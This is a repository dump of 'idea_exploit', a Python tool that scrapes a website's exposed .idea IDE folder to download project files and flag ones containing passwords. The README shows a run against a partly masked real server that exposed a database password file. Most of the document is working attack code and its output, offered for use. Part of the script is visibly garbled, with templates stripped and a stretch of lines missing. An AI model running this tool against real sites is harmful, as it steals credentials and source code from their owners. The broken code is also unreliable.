├── README.md
├── idea_exp.py
└── images
├── contain_password.png
└── scanner_pannel.png
/README.md:
--------------------------------------------------------------------------------
1 | # **.idea disclosure exploit**
2 |
3 | A script use **.idea** folder to gather sensitive information for pentesters .
4 |
5 | Websites not correctly deployed let their IDE config folder (**.idea**) exposed to hacker,
6 |
7 | which can lead password or archived data files leaked.
8 |
9 | The scanner will try to download all files, please recheck local files by yourself.
10 |
11 | ## Requirements
12 |
13 | ```
14 | pip install lxml requests
15 | ```
16 |
17 | ## Requirements
18 |
19 | * 2022-08-05: Bug Fix and python3 support
20 |
21 | ## Example
22 |
23 | Our scanner reported a vulnerability this afternoon
24 |
25 | 
26 |
27 | As you can see, the file **DbConnCfg.json** leaked db password.
28 |
29 | ```
30 | D:\IQIYI.codebase\idea_exp>idea_exp.py http://107.{mask}.{mask}.151/
31 | [+] Module name is {mask}
32 | [+] Type is web_module
33 | [+] About 67 urls to process
34 | [200] /cfg/DbConnCfg.json
35 | [200] /bi/applepay/comm.php
36 | [200] /bi/applepay/ipn_ios.php
37 | [404] /auth/auth_ios/auth_guest.php
38 | ...
39 | [200] /ver/ver_util.php
40 | All files saved to 107.{mask}.{mask}.151/idea_exp_report.html
41 | ```
42 |
43 | 
--------------------------------------------------------------------------------
/idea_exp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 |
4 | from __future__ import print_function
5 | import sys
6 | import os
7 | import shutil
8 | import requests
9 | try:
10 | import urllib.parse as urlparse
11 | except Exception as e:
12 | import urlparse
13 | import re
14 | import webbrowser
15 | from lxml import etree
16 | from string import Template
17 |
18 |
19 | HTML_TPL = """
20 |
21 |
22 | idea_exp scan report
23 |
24 |
37 |
38 |
39 | ${start_url}
40 |
43 |
44 |
45 | """
46 |
47 |
48 | HTML_LI_TPL = """
49 |
50 | ${tips} ${title}${path}
51 | ->
52 |
53 | """
54 |
55 |
56 | class Scanner(object):
57 | def __init__(self, url):
58 | self.start_url = url
59 | self.session = requests.Session()
60 | self.session.verify = False
61 | self.module_name = ''
62 | self.module_type = ''
63 | self.path_lst = []
64 | self.results = []
65 | self.get_module_name()
66 | self.parse_workspace()
67 |
68 | def get_module_name(self):
69 | try:
70 | url = self.start_url + 'modules.xml'
71 | text = self.session.get(url, timeout=20).text
72 | if text.find('ProjectModuleManager') < 0:
73 | return
74 | root = etree.XML(text.encode('utf-8'))
75 | module = root.find('component').find('modules').find('module')
76 | file_url = module.get('fileurl')
77 | if not file_url:
78 | file_url = module.get('filepath')
79 | self.module_name = os.path.basename(file_url)
80 | if self.module_name:
81 | print('[+] Module name is', self.module_name[:-4])
82 | self.get_module_type()
83 | except Exception as e:
84 | pass
85 |
86 | def get_module_type(self):
87 | try:
88 | url = self.start_url + self.module_name
89 | text = self.session.get(url, timeout=20).text
90 | root = etree.XML(text.encode('utf-8'))
91 | self.module_type = root.get('type').lower()
92 | print('[+] Type is', self.module_type)
93 | except Exception as e:
94 | pass
95 |
96 | def parse_workspace(self):
97 | try:
98 | url = self.start_url + 'workspace.xml'
99 | text = self.session.get(url, timeout=20).text
100 | if text.find('(.*?)', chunk)
159 | if m:
160 | ret['title'] = '[%s] ' % m.group(1).decode('utf-8')
161 | if chunk.lower().find(b'passw') > 0:
162 | ret['tips'] = '(Contain Password)'
163 | if out_file:
164 | out_file.close()
165 | self.results.append(ret)
166 | print('[%s] %s' % (r.status_code, path))
167 |
168 | if self.results:
169 | tpl_html = Template(HTML_TPL)
170 | tpl_li = Template(HTML_LI_TPL)
171 | str_li = ''
172 | for r in self.results:
173 | str_li += tpl_li.substitute(r)
174 | with open(save_folder + '/idea_exp_report.html', 'wb') as f:
175 | f.write(tpl_html.substitute({'start_url': self.start_url, 'url_list': str_li}).encode('utf-8'))
176 | print('All files saved to ' + save_folder + '/idea_exp_report.html')
177 | webbrowser.open_new_tab(os.path.abspath(save_folder + '/idea_exp_report.html'))
178 |
179 |
180 | if __name__ == '__main__':
181 | if len(sys.argv) < 2:
182 | print("""idea_exp v1.0 (https://github.com/lijiejie/idea_exploit)
183 |
184 | Gather sensitive information from (.idea) folder for pentesters. Usage:
185 |
186 | python idea_exp.py http://example.com/.idea/
187 | """)
188 | exit(0)
189 | url = sys.argv[1]
190 | if not url.lower().startswith('http'):
191 | url = 'http://' + url
192 | if url.rfind('.idea') > 0:
193 | url = url[:url.rfind('.idea')] + '.idea/'
194 | else:
195 | url = url.rstrip('/') + '/.idea/'
196 |
197 | s = Scanner(url)
198 |
--------------------------------------------------------------------------------
/images/contain_password.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lijiejie/idea_exploit/4ffce5d39139b929ba246f427a10e2198f0d03d2/images/contain_password.png
--------------------------------------------------------------------------------
/images/scanner_pannel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lijiejie/idea_exploit/4ffce5d39139b929ba246f427a10e2198f0d03d2/images/scanner_pannel.png
--------------------------------------------------------------------------------